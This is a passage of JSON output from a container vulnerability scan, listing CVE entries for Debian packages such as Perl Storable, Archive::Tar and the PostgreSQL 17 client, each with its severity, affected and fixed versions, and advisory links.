"FixedVersion": "5.40.1-6+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-57433", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:6bbb5dc927c1d47cefb253e6798fa368e5e18c1f6553bc9ad12e2d56c62364c1", "Title": "Storable: Storable: Denial of Service via signed integer overflow in deserialization", "Description": "Storable versions before 3.41 for Perl have a signed integer overflow when deserializing a crafted SX_HOOK record.\n\nretrieve_hook_common reads a signed 32-bit item count from an SX_HOOK record and calls av_extend with that count plus one. A count of I32_MAX wraps the addition to a negative value.\n\nA crafted blob passed to thaw or retrieve triggers the overflow; av_extend receives the negative count and dies with a panic, terminating the deserialization.", "Severity": "HIGH", "CweIDs": [ "CWE-190" ], "VendorSeverity": { "amazon": 2, "azure": 4, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/07/13/7", "https://access.redhat.com/security/cve/CVE-2026-57433", "https://github.com/Perl/perl5/commit/e4f681784bcdeaa91ff02a2fa4cdcae5c46779d7.patch", "https://lists.security.metacpan.org/cve-announce/msg/41780100/", "https://nvd.nist.gov/vuln/detail/CVE-2026-57433", "https://ubuntu.com/security/notices/USN-8675-1", "https://ubuntu.com/security/notices/USN-8675-2", "https://ubuntu.com/security/notices/USN-8684-1", "https://www.cve.org/CVERecord?id=CVE-2026-57433" ], "PublishedDate": "2026-07-13T17:17:55.783Z", "LastModifiedDate": "2026-10-24T22:10:00.21Z" }, { "VulnerabilityID": "CVE-2026-9538", "PkgID": "perl-modules-5.40@5.40.1-6", "PkgName": "perl-modules-5.40", "PkgIdentifier": { "PURL": "pkg:deb/debian/perl-modules-5.40@5.40.1-6?arch=all\u0026distro=debian-13.6", "UID": "9bd83fa4dd131a41" }, "InstalledVersion": "5.40.1-6", "Status": "fix_deferred", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-9538", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:509187a9cd2cafc472d30fdadf1dde565a8f9281e7013caa6239fe24ef169dd5", "Title": "perl-Archive-Tar: perl-Archive-Tar: Denial of Service via crafted tar header with large entry size", "Description": "Archive::Tar versions before 3.10 for Perl allow memory exhaustion via attacker controlled entry size field in tar header.\n\n_read_tar() reads each entry's payload with $handle-\u003eread($$data, $block), where $block is derived from the entry's 12-byte size field in the tar header with no upper bound on that value.\n\nA crafted header declaring a multi-gigabyte size causes Perl to allocate a scalar of that size.", "Severity": "HIGH", "CweIDs": [ "CWE-789" ], "VendorSeverity": { "alma": 3, "amazon": 3, "nvd": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/05/26/4", "https://access.redhat.com/errata/RHSA-2026:49525", "https://access.redhat.com/security/cve/CVE-2026-9538", "https://bugzilla.redhat.com/2481315", "https://bugzilla.redhat.com/show_bug.cgi?id=2481315", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-9538", "https://errata.almalinux.org/9/ALSA-2026-49525.html", "https://errata.rockylinux.org/RLSA-2026:49525", "https://github.com/jib/archive-tar-new/commit/f9af01426038e29d9578825a0cd3626946ab08c7.patch", "https://linux.oracle.com/cve/CVE-2026-9538.html", "https://linux.oracle.com/errata/ELSA-2026-49525.html", "https://lists.security.metacpan.org/cve-announce/msg/40396448/", "https://metacpan.org/release/BINGOS/Archive-Tar-3.10/changes", "https://nvd.nist.gov/vuln/detail/CVE-2026-9538", "https://ubuntu.com/security/notices/USN-8684-1", "https://www.cve.org/CVERecord?id=CVE-2026-9538" ], "PublishedDate": "2026-05-26T02:16:41.15Z", "LastModifiedDate": "2026-07-23T11:10:00.12Z" }, { "VulnerabilityID": "CVE-2026-14662", "VendorIDs": [ "DSA-6438-1" ], "PkgID": "postgresql-client-17@17.10-0+deb13u1", "PkgName": "postgresql-client-17", "PkgIdentifier": { "PURL": "pkg:deb/debian/postgresql-client-17@17.10-0%2Bdeb13u1?arch=amd64\u0026distro=debian-13.6", "UID": "516fded614637d3c" }, "InstalledVersion": "17.10-0+deb13u1", "FixedVersion": "17.11-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-14662", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:c0beaedbe23d48934698d61378f19da39d2fc69b8e2707a3f85f60d1945a26a1", "Title": "postgresql: PostgreSQL: Arbitrary code execution via integer wraparound in tsvector and tsquery functions", "Description": "Integer wraparound in PostgreSQL tsvector and tsquery data type functions allows an unprivileged database user to cause the server to undersize an allocation and write out-of-bounds, via crafted large inputs. This may execute arbitrary code as the operating system user running the database. These types are typically sourced from application logic, not taken from the application's user. Hence, application users attacking the database, through the application as a conduit, are unlikely. CVE-2026-6473 had fixed similar problems. Versions before PostgreSQL 18.6, 17.11, 16.15, 15.19, and 14.24 are affected.", "Severity": "HIGH", "CweIDs": [ "CWE-190" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "bitnami": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:69914", "https://access.redhat.com/security/cve/CVE-2026-14662", "https://bugzilla.redhat.com/2515302", "https://bugzilla.redhat.com/2515303", "https://bugzilla.redhat.com/2515306", "https://bugzilla.redhat.com/2515307", "https://bugzilla.redhat.com/2515308", "https://bugzilla.redhat.com/2515311", "https://bugzilla.redhat.com/2515313", "https://bugzilla.redhat.com/2515314", "https://bugzilla.redhat.com/2515316", "https://bugzilla.redhat.com/2515317", "https://bugzilla.redhat.com/2515321", "https://bugzilla.redhat.com/2515322", "https://bugzilla.redhat.com/2515325", "https://bugzilla.redhat.com/2515326", "https://bugzilla.redhat.com/2515328", "https://bugzilla.redhat.com/2515332", "https://bugzilla.redhat.com/show_bug.cgi?id=2515302", "https://bugzilla.redhat.com/show_bug.cgi?id=2515303", "https://bugzilla.redhat.com/show_bug.cgi?id=2515306", "https://bugzilla.redhat.com/show_bug.cgi?id=2515307", "https://bugzilla.redhat.com/show_bug.cgi?id=2515308", "https://bugzilla.redhat.com/show_bug.cgi?id=2515311", "https://bugzilla.redhat.com/show_bug.cgi?id=2515313", "https://bugzilla.redhat.com/show_bug.cgi?id=2515314", "https://bugzilla.redhat.com/show_bug.cgi?id=2515316", "https://bugzilla.redhat.com/show_bug.cgi?id=2515317", "https://bugzilla.redhat.com/show_bug.cgi?id=2515321", "https://bugzilla.redhat.com/show_bug.cgi?id=2515322", "https://bugzilla.redhat.com/show_bug.cgi?id=2515325", "https://bugzilla.redhat.com/show_bug.cgi?id=2515326", "https://bugzilla.redhat.com/show_bug.cgi?id=2515328", "https://bugzilla.redhat.com/show_bug.cgi?id=2515332", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14662", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14664", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14668", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14670", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14671", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14677", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14679", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14680", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-15741", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-15742", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-16239", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-18408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-19385", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-6464", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-6471", "https://errata.almalinux.org/9/ALSA-2026-69914.html", "https://errata.rockylinux.org/RLSA-2026:69914", "https://linux.oracle.com/cve/CVE-2026-14662.html", "https://linux.oracle.com/errata/ELSA-2026-70186.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-14662", "https://ubuntu.com/security/notices/USN-8653-1", "https://www.cve.org/CVERecord?id=CVE-2026-14662", "https://www.postgresql.org/about/news/postgresql-186-1711-1615-1519-1424-and-19-beta-3-released-3365/", "https://www.postgresql.org/support/security/CVE-2026-14662/" ], "PublishedDate": "2026-08-13T13:17:43.553Z", "LastModifiedDate": "2026-08-29T23:17:11.01Z" }, { "VulnerabilityID": "CVE-2026-14664", "VendorIDs": [ "DSA-6438-1" ], "PkgID": "postgresql-client-17@17.10-0+deb13u1", "PkgName": "postgresql-client-17", "PkgIdentifier": { "PURL": "pkg:deb/debian/postgresql-client-17@17.10-0%2Bdeb13u1?arch=amd64\u0026distro=debian-13.6", "UID": "516fded614637d3c" }, "InstalledVersion": "17.10-0+deb13u1", "FixedVersion": "17.11-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-14664", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:f46fc6cd34884f766c1b109dee5a650f762bcf5b9b641dc342db12a8ac746782", "Title": "postgresql: PostgreSQL: Arbitrary code execution via heap buffer overflow in regexp", "Description": "Heap buffer overflow in PostgreSQL regexp allows the query author to execute arbitrary code as the operating system user running the database, via text that would not pass encoding validation. This shares heritage with CVE-2026-2006, but this case involved unanticipated data growth when round-tripped through pg_wchar. Versions before PostgreSQL 18.6, 17.11, 16.15, 15.19, and 14.24 are affected.", "Severity": "HIGH", "CweIDs": [ "CWE-122" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "bitnami": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:69914", "https://access.redhat.com/security/cve/CVE-2026-14664", "https://bugzilla.redhat.com/2515302", "https://bugzilla.redhat.com/2515303", "https://bugzilla.redhat.com/2515306", "https://bugzilla.redhat.com/2515307", "https://bugzilla.redhat.com/2515308", "https://bugzilla.redhat.com/2515311", "https://bugzilla.redhat.com/2515313", "https://bugzilla.redhat.com/2515314", "https://bugzilla.redhat.com/2515316", "https://bugzilla.redhat.com/2515317", "https://bugzilla.redhat.com/2515321", "https://bugzilla.redhat.com/2515322", "https://bugzilla.redhat.com/2515325", "https://bugzilla.redhat.com/2515326", "https://bugzilla.redhat.com/2515328", "https://bugzilla.redhat.com/2515332", "https://bugzilla.redhat.com/show_bug.cgi?id=2515302", "https://bugzilla.redhat.com/show_bug.cgi?id=2515303", "https://bugzilla.redhat.com/show_bug.cgi?id=2515306", "https://bugzilla.redhat.com/show_bug.cgi?id=2515307", "https://bugzilla.redhat.com/show_bug.cgi?id=2515308", "https://bugzilla.redhat.com/show_bug.cgi?id=2515311", "https://bugzilla.redhat.com/show_bug.cgi?id=2515313", "https://bugzilla.redhat.com/show_bug.cgi?id=2515314", "https://bugzilla.redhat.com/show_bug.cgi?id=2515316", "https://bugzilla.redhat.com/show_bug.cgi?id=2515317", "https://bugzilla.redhat.com/show_bug.cgi?id=2515321", "https://bugzilla.redhat.com/show_bug.cgi?id=2515322", "https://bugzilla.redhat.com/show_bug.cgi?id=2515325", "https://bugzilla.redhat.com/show_bug.cgi?id=2515326", "https://bugzilla.redhat.com/show_bug.cgi?id=2515328", "https://bugzilla.redhat.com/show_bug.cgi?id=2515332", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14662", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14664", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14668", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14670", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14671", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14677", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14679", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14680", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-15741", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-15742", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-16239", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-18408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-19385", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-6464", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-6471", "https://errata.almalinux.org/9/ALSA-2026-69914.html", "https://errata.rockylinux.org/RLSA-2026:69914", "https://linux.oracle.com/cve/CVE-2026-14664.html", "https://linux.oracle.com/errata/ELSA-2026-70186.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-14664", "https://ubuntu.com/security/notices/USN-8653-1", "https://www.cve.org/CVERecord?id=CVE-2026-14664", "https://www.postgresql.org/about/news/postgresql-186-1711-1615-1519-1424-and-19-beta-3-released-3365/", "https://www.postgresql.org/support/security/CVE-2026-14664/" ], "PublishedDate": "2026-08-13T13:17:43.847Z", "LastModifiedDate": "2026-08-29T23:17:11.963Z" }, { "VulnerabilityID": "CVE-2026-14668", "VendorIDs": [ "DSA-6438-1" ], "PkgID": "postgresql-client-17@17.10-0+deb13u1", "PkgName": "postgresql-client-17", "PkgIdentifier": { "PURL": "pkg:deb/debian/postgresql-client-17@17.10-0%2Bdeb13u1?arch=amd64\u0026distro=debian-13.6", "UID": "516fded614637d3c" }, "InstalledVersion": "17.10-0+deb13u1", "FixedVersion": "17.11-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-14668", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:e740ba24f97b4c39688ab62179bb4af23e03ee0bf312f7f40683233ce547dd52", "Title": "postgresql: PostgreSQL: Information disclosure via type confusion in ctid selectivity estimator", "Description": "Type confusion regarding input of PostgreSQL ctid data type selectivity estimator allows an object creator to view a calculation derived from the value of an arbitrary 4-byte span of memory, via a chosen non-ctid input. While the calculation loses precision, substantial memory value recovery appears possible. Versions before PostgreSQL 18.6, 17.11, 16.15, 15.19, and 14.24 are affected.", "Severity": "HIGH", "CweIDs": [ "CWE-843" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "bitnami": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 8.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:69914", "https://access.redhat.com/security/cve/CVE-2026-14668", "https://bugzilla.redhat.com/2515302", "https://bugzilla.redhat.com/2515303", "https://bugzilla.redhat.com/2515306", "https://bugzilla.redhat.com/2515307", "https://bugzilla.redhat.com/2515308", "https://bugzilla.redhat.com/2515311", "https://bugzilla.redhat.com/2515313", "https://bugzilla.redhat.com/2515314", "https://bugzilla.redhat.com/2515316", "https://bugzilla.redhat.com/2515317", "https://bugzilla.redhat.com/2515321", "https://bugzilla.redhat.com/2515322", "https://bugzilla.redhat.com/2515325", "https://bugzilla.redhat.com/2515326", "https://bugzilla.redhat.com/2515328", "https://bugzilla.redhat.com/2515332", "https://bugzilla.redhat.com/show_bug.cgi?id=2515302", "https://bugzilla.redhat.com/show_bug.cgi?id=2515303", "https://bugzilla.redhat.com/show_bug.cgi?id=2515306", "https://bugzilla.redhat.com/show_bug.cgi?id=2515307", "https://bugzilla.redhat.com/show_bug.cgi?id=2515308", "https://bugzilla.redhat.com/show_bug.cgi?id=2515311", "https://bugzilla.redhat.com/show_bug.cgi?id=2515313", "https://bugzilla.redhat.com/show_bug.cgi?id=2515314", "https://bugzilla.redhat.com/show_bug.cgi?id=2515316", "https://bugzilla.redhat.com/show_bug.cgi?id=2515317", "https://bugzilla.redhat.com/show_bug.cgi?id=2515321", "https://bugzilla.redhat.com/show_bug.cgi?id=2515322", "https://bugzilla.redhat.com/show_bug.cgi?id=2515325", "https://bugzilla.redhat.com/show_bug.cgi?id=2515326", "https://bugzilla.redhat.com/show_bug.cgi?id=2515328", "https://bugzilla.redhat.com/show_bug.cgi?id=2515332", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14662", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14664", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14668", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14670", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14671", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14677", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14679", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14680", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-15741", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-15742", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-16239", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-18408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-19385", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-6464", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-6471", "https://errata.almalinux.org/9/ALSA-2026-69914.html", "https://errata.rockylinux.org/RLSA-2026:69914", "https://linux.oracle.com/cve/CVE-2026-14668.html", "https://linux.oracle.com/errata/ELSA-2026-70186.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-14668", "https://ubuntu.com/security/notices/USN-8653-1", "https://www.cve.org/CVERecord?id=CVE-2026-14668", "https://www.postgresql.org/about/news/postgresql-186-1711-1615-1519-1424-and-19-beta-3-released-3365/", "https://www.postgresql.org/support/security/CVE-2026-14668/" ], "PublishedDate": "2026-08-13T13:17:44.137Z", "LastModifiedDate": "2026-08-29T23:17:12.83Z" }, { "VulnerabilityID": "CVE-2026-14669", "VendorIDs": [ "DSA-6438-1" ], "PkgID": "postgresql-client-17@17.10-0+deb13u1", "PkgName": "postgresql-client-17", "PkgIdentifier": { "PURL": "pkg:deb/debian/postgresql-client-17@17.10-0%2Bdeb13u1?arch=amd64\u0026distro=debian-13.6", "UID": "516fded614637d3c" }, "InstalledVersion": "17.10-0+deb13u1", "FixedVersion": "17.11-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-14669", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:d03f015afbd2af89a1f094ab1b2034687cc5711e7e84935c20552b13dcfe4068", "Title": "postgresql: PostgreSQL: Arbitrary code execution via long POSIX timezone abbreviation", "Description": "Heap buffer overflow in PostgreSQL to_char(timestamptz) allows the party choosing the timezone to execute arbitrary code as the operating system user running the database, via a long POSIX timezone abbreviation. Versions before PostgreSQL 18.6, 17.11, 16.15, 15.19, and 14.24 are affected.", "Severity": "HIGH", "CweIDs": [ "CWE-122" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "bitnami": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:69914", "https://access.redhat.com/security/cve/CVE-2026-14669", "https://bugzilla.redhat.com/2515302", "https://bugzilla.redhat.com/2515303", "https://bugzilla.redhat.com/2515306", "https://bugzilla.redhat.com/2515307", "https://bugzilla.redhat.com/2515308", "https://bugzilla.redhat.com/2515311", "https://bugzilla.redhat.com/2515313", "https://bugzilla.redhat.com/2515314", "https://bugzilla.redhat.com/2515316", "https://bugzilla.redhat.com/2515317", "https://bugzilla.redhat.com/2515321", "https://bugzilla.redhat.com/2515322", "https://bugzilla.redhat.com/2515325", "https://bugzilla.redhat.com/2515326", "https://bugzilla.redhat.com/2515328", "https://bugzilla.redhat.com/2515332", "https://bugzilla.redhat.com/show_bug.cgi?id=2515302", "https://bugzilla.redhat.com/show_bug.cgi?id=2515303", "https://bugzilla.redhat.com/show_bug.cgi?id=2515306", "https://bugzilla.redhat.com/show_bug.cgi?id=2515307", "https://bugzilla.redhat.com/show_bug.cgi?id=2515308", "https://bugzilla.redhat.com/show_bug.cgi?id=2515311", "https://bugzilla.redhat.com/show_bug.cgi?id=2515313", "https://bugzilla.redhat.com/show_bug.cgi?id=2515314", "https://bugzilla.redhat.com/show_bug.cgi?id=2515316", "https://bugzilla.redhat.com/show_bug.cgi?id=2515317", "https://bugzilla.redhat.com/show_bug.cgi?id=2515321", "https://bugzilla.redhat.com/show_bug.cgi?id=2515322", "https://bugzilla.redhat.com/show_bug.cgi?id=2515325", "https://bugzilla.redhat.com/show_bug.cgi?id=2515326", "https://bugzilla.redhat.com/show_bug.cgi?id=2515328", "https://bugzilla.redhat.com/show_bug.cgi?id=2515332", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14662", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14664", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14668", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14670", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14671", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14677", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14679", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14680", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-15741", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-15742", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-16239", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-18408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-19385", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-6464", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-6471", "https://errata.almalinux.org/9/ALSA-2026-69914.html", "https://errata.rockylinux.org/RLSA-2026:69914", "https://linux.oracle.com/cve/CVE-2026-14669.html", "https://linux.oracle.com/errata/ELSA-2026-70186.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-14669", "https://ubuntu.com/security/notices/USN-8653-1", "https://www.cve.org/CVERecord?id=CVE-2026-14669", "https://www.postgresql.org/about/news/postgresql-186-1711-1615-1519-1424-and-19-beta-3-released-3365/", "https://www.postgresql.org/support/security/CVE-2026-14669/" ], "PublishedDate": "2026-08-13T13:17:44.28Z", "LastModifiedDate": "2026-08-29T23:17:13.27Z" }, { "VulnerabilityID": "CVE-2026-14670", "VendorIDs": [ "DSA-6438-1" ], "PkgID": "postgresql-client-17@17.10-0+deb13u1", "PkgName": "postgresql-client-17", "PkgIdentifier": { "PURL": "pkg:deb/debian/postgresql-client-17@17.10-0%2Bdeb13u1?arch=amd64\u0026distro=debian-13.6", "UID": "516fded614637d3c" }, "InstalledVersion": "17.10-0+deb13u1", "FixedVersion": "17.11-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-14670", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:7d901223365c2ae6cf93d376d5db56a0c229e95c9dcf76d1c7199a842abcc4a3", "Title": "postgresql: PostgreSQL: Arbitrary code execution via plperl tied hash heap buffer overflow", "Description": "Heap buffer overflow in PostgreSQL plperl return of a tied hash allows the function owner to execute arbitrary code as the operating system user running the database, via a crafted function body. Versions before PostgreSQL 18.6, 17.11, 16.15, 15.19, and 14.24 are affected.", "Severity": "HIGH", "CweIDs": [ "CWE-122" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "bitnami": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:69914", "https://access.redhat.com/security/cve/CVE-2026-14670", "https://bugzilla.redhat.com/2515302", "https://bugzilla.redhat.com/2515303", "https://bugzilla.redhat.com/2515306", "https://bugzilla.redhat.com/2515307", "https://bugzilla.redhat.com/2515308", "https://bugzilla.redhat.com/2515311", "https://bugzilla.redhat.com/2515313", "https://bugzilla.redhat.com/2515314", "https://bugzilla.redhat.com/2515316", "https://bugzilla.redhat.com/2515317", "https://bugzilla.redhat.com/2515321", "https://bugzilla.redhat.com/2515322", "https://bugzilla.redhat.com/2515325", "https://bugzilla.redhat.com/2515326", "https://bugzilla.redhat.com/2515328", "https://bugzilla.redhat.com/2515332", "https://bugzilla.redhat.com/show_bug.cgi?id=2515302", "https://bugzilla.redhat.com/show_bug.cgi?id=2515303", "https://bugzilla.redhat.com/show_bug.cgi?id=2515306", "https://bugzilla.redhat.com/show_bug.cgi?id=2515307", "https://bugzilla.redhat.com/show_bug.cgi?id=2515308", "https://bugzilla.redhat.com/show_bug.cgi?id=2515311", "https://bugzilla.redhat.com/show_bug.cgi?id=2515313", "https://bugzilla.redhat.com/show_bug.cgi?id=2515314", "https://bugzilla.redhat.com/show_bug.cgi?id=2515316", "https://bugzilla.redhat.com/show_bug.cgi?id=2515317", "https://bugzilla.redhat.com/show_bug.cgi?id=2515321", "https://bugzilla.redhat.com/show_bug.cgi?id=2515322", "https://bugzilla.redhat.com/show_bug.cgi?id=2515325", "https://bugzilla.redhat.com/show_bug.cgi?id=2515326", "https://bugzilla.redhat.com/show_bug.cgi?id=2515328", "https://bugzilla.redhat.com/show_bug.cgi?id=2515332", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14662", 